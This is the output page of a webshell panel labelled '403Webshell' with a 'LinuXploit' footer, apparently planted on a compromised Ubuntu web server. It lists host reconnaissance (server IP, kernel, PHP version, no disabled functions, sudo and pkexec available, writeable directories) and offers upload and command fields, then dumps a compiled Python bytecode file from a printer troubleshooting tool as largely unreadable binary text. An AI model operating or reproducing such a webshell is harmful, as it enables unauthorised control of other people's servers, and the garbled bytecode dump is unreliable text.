403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/troubleshoot/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/troubleshoot/__pycache__/PrinterStateReasons.cpython-310.pyc
o

3�bm�@sXddlmZddlZddlZddlZddlmZddlTddlm	Z	Gdd�de
�ZdS)	�)�GtkN)�TimedOperation�)�*)�reducec@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�PrinterStateReasonscCsht�||d�|�td�td��}t��|_|j�dd�|j�d�|�	|jddd�|�
||�dS)NzPrinter state reasonszStatus Messagesz5There are status messages associated with this queue.rTF)�Question�__init__�initial_vbox�_r�Label�label�
set_alignment�
set_line_wrap�
pack_start�new_page)�self�troubleshooter�page�r�D/usr/share/system-config-printer/troubleshoot/PrinterStateReasons.pyr	 s
�
zPrinterStateReasons.__init__cCs�|j}z|jd}Wn
tyYdSw|j��}t�d�ttj|d�|_|j�	�}t|j
|f|d�|_|j�	�}t��}d}|d}|rS|t
d�|7}|d7}|d	}	t|	�tkr`|	g}	||_|	|_g}
g}|	D]/}|d
krsqlt�|||�}
|
��\}}|
��}|tjjkr�|
�|�ql|tjjkr�|�|�ql|
r�|t
d�d7}|td
d�|
�7}|d7}|r�|t
d�d7}|tdd�|�7}|j�|�|dkr�t|
�dkr�t|�dkr�dSd|jvr�|jd|jkr�|jd	|jkr�dSdS)N�
cups_queueF�)�parent)�argsr�printer-state-messagez%The printer's state message is: '%s'.z

�printer-state-reasons�nonezErrors are listed below:�
cS�|d|S�Nrr��x�yrrr�<lambda>[�z-PrinterStateReasons.display.<locals>.<lambda>zWarnings are listed below:cSrr rr!rrrr$`r%rT)r�answers�KeyError�
get_window�cups�	setServerr�
Connection�op�run�getPrinterAttributes�ppdcache�PPDCacher�type�str�
state_message�
state_reasons�statereason�StateReason�get_description�	get_level�ERROR�append�WARNINGrr
�set_text�len)rr�queuer�c�dict�the_ppdcache�textr3�state_reasons_list�human_readable_errors�human_readable_warnings�reason�r�title�description�levelrrr�display,sx�


�

�
��zPrinterStateReasons.displaycCs|jsiS|j|jd�S)N)rr)�	displayedr3r4�rrrr�collect_answerss
�z"PrinterStateReasons.collect_answercCs|j��dS)N)r,�cancelrMrrr�cancel_operationzsz$PrinterStateReasons.cancel_operationN)�__name__�
__module__�__qualname__r	rKrNrPrrrrrs
Gr)�
gi.repositoryrr)r/r5�timedopsr�base�	functoolsrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit